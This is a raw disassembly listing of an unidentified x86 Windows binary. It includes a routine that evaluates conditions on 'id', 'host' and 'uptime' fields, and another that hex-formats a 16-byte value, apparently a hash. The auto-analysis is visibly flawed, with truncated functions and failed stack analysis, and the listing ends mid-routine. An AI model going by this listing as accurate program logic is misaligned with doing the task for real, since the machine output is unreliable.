; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412BC0	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412BC0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C10	proc near		; CODE XREF: sub_401F00j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_412C10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412CB0:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43994E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412FD6
		push	ebx
		push	edi
		push	offset asc_443600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013D9
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013D9
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013D9
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E2E
		push	offset asc_443600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016AE
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E2E
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40200E
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40200E
		push	offset asc_443D40 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E35
		xor	edi, edi


loc_412E35:				; CODE XREF: ___:00412E31j
		push	offset asc_443D3C ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E4C
		mov	edi, 1


loc_412E4C:				; CODE XREF: ___:00412E45j
		push	offset asc_443D38 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E63
		mov	edi, 2


loc_412E63:				; CODE XREF: ___:00412E5Cj
		push	offset asc_443D34 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412E7A
		mov	edi, 3


loc_412E7A:				; CODE XREF: ___:00412E73j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4
		test	edi, edi
		jnz	short loc_412EAA
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412ED4
		jmp	short loc_412EC7
; ---------------------------------------------------------------------------


loc_412EAA:				; CODE XREF: ___:00412E8Ej
		cmp	edi, 1
		jnz	short loc_412ED4
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset word_44759A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412ED4


loc_412EC7:				; CODE XREF: ___:00412EA8j
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412ED4:				; CODE XREF: ___:00412E8Aj
					; ___:00412EA6j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F27
		test	edi, edi
		jnz	short loc_412F08
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jnz	loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F08:				; CODE XREF: ___:00412EE8j
		cmp	edi, 1
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4D60DD
		call	sub_4013E3
		test	eax, eax
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F27:				; CODE XREF: ___:00412EE4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F89
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_401654
		test	edi, edi
		jnz	short loc_412F5D
		cmp	eax, ebx
		jz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F5D:				; CODE XREF: ___:00412F55j
		cmp	edi, 1
		jnz	short loc_412F68
		cmp	eax, ebx
		jnz	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: ___:00412F60j
		cmp	edi, 2
		jnz	short loc_412F73
		cmp	eax, ebx
		jle	short loc_412F89
		jmp	short loc_412F7C
; ---------------------------------------------------------------------------


loc_412F73:				; CODE XREF: ___:00412F6Bj
		cmp	edi, 3
		jnz	short loc_412F89
		cmp	eax, ebx
		jge	short loc_412F89


loc_412F7C:				; CODE XREF: ___:00412F06j
					; ___:00412F25j ...
		push	0
		push	esi
		mov	ecx, offset byte_4472B7
		call	sub_401A32


loc_412F89:				; CODE XREF: ___:00412F00j
					; ___:00412F0Bj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_412FD8
; ---------------------------------------------------------------------------


loc_412FD6:				; CODE XREF: ___:00412CE9j
		mov	al, 1


loc_412FD8:				; CODE XREF: ___:00412FD4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4130E0	proc near		; CODE XREF: sub_401654j
		nop
		call	near ptr 27C08B0h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4130E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413120	proc near		; CODE XREF: sub_401FFAj

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401749
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F05
sub_413120	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401843
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43E044
		call	sub_401924
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_401CF8j ___:00401E10j
		push	esi
		mov	esi, ecx
		call	sub_401C8F
sub_4131F0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_413208
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_413208:				; CODE XREF: ___:004131FDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413220	proc near		; CODE XREF: sub_401C8Fj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_413220
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43E044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401924
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C62
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014B5
sub_413220	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132E0	proc near		; CODE XREF: sub_4019F6j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_4132E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4133D0	proc near		; CODE XREF: sub_401CD0j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4133D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413477
		lea	ecx, [esp+18h+var_14]
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413477


loc_413438:				; CODE XREF: sub_4133D0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41349C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413438


loc_413477:				; CODE XREF: sub_4133D0+2Ej
					; sub_4133D0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41349C:				; CODE XREF: sub_4133D0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4133D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413510	proc near		; CODE XREF: sub_402112j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_413510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_4135E3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jz	short loc_4135E3


loc_41357F:				; CODE XREF: sub_413510+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebx
		call	sub_401CD0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4135AC
		mov	edi, [esi]


loc_4135AC:				; CODE XREF: sub_413510+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B72
		test	eax, eax
		jz	short loc_41360B
		test	esi, esi
		jnz	short loc_41360B
		lea	ecx, [esp+28h+var_18]
		call	sub_4018B6
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AD7
		test	al, al
		jnz	short loc_41357F


loc_4135E3:				; CODE XREF: sub_413510+31j
					; sub_413510+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4135F6:				; CODE XREF: sub_413510+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_41360B:				; CODE XREF: sub_413510+AAj
					; sub_413510+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4135F6
sub_413510	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413670	proc near		; CODE XREF: sub_401F46j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	short loc_413714
		lea	ecx, [esp+14h+var_14]
		call	sub_401E1F
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_413714


loc_4136D6:				; CODE XREF: sub_413670+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jz	short loc_413746
		lea	ecx, [esp+14h+var_14]
		call	sub_4020A4
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D89
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_4136D6


loc_413714:				; CODE XREF: sub_413670+2Bj
					; sub_413670+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401578
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413746:				; CODE XREF: sub_413670+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401578
sub_413670	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4137E0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4137E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017E4
		test	eax, eax
		jz	loc_413913
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A55
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_401424
		push	offset byte_446F70
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015D7
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014D3
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C12
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402158
		add	esp, 14h


loc_41387B:				; CODE XREF: sub_4137E0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_401424
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016BD
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41387B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B72
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_41390E
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_41392C
; ---------------------------------------------------------------------------


loc_41390E:				; CODE XREF: sub_4137E0+10Cj
		call	sub_401226


loc_413913:				; CODE XREF: sub_4137E0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_41392C:				; CODE XREF: sub_4137E0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4137E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4139B0	proc near		; CODE XREF: sub_40191Fj

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4139B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014C9
		mov	ecx, esi
		call	sub_402112
		test	eax, eax
		jz	short loc_413A5E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_40171C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014C9
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F46
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413A5E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413A5E:				; CODE XREF: sub_4139B0+3Fj
					; sub_4139B0+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_4139B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413AE0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_439B08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40191F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413B70	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413B70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413CB9
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017E4
		test	eax, eax
		jz	loc_413CB9
		push	esi
		push	edi
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413C93
		add	ebp, 54h


loc_413BF0:				; CODE XREF: sub_413B70+11Dj
		push	15h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413C10
		mov	ecx, eax
		call	sub_401F2D
		jmp	short loc_413C12
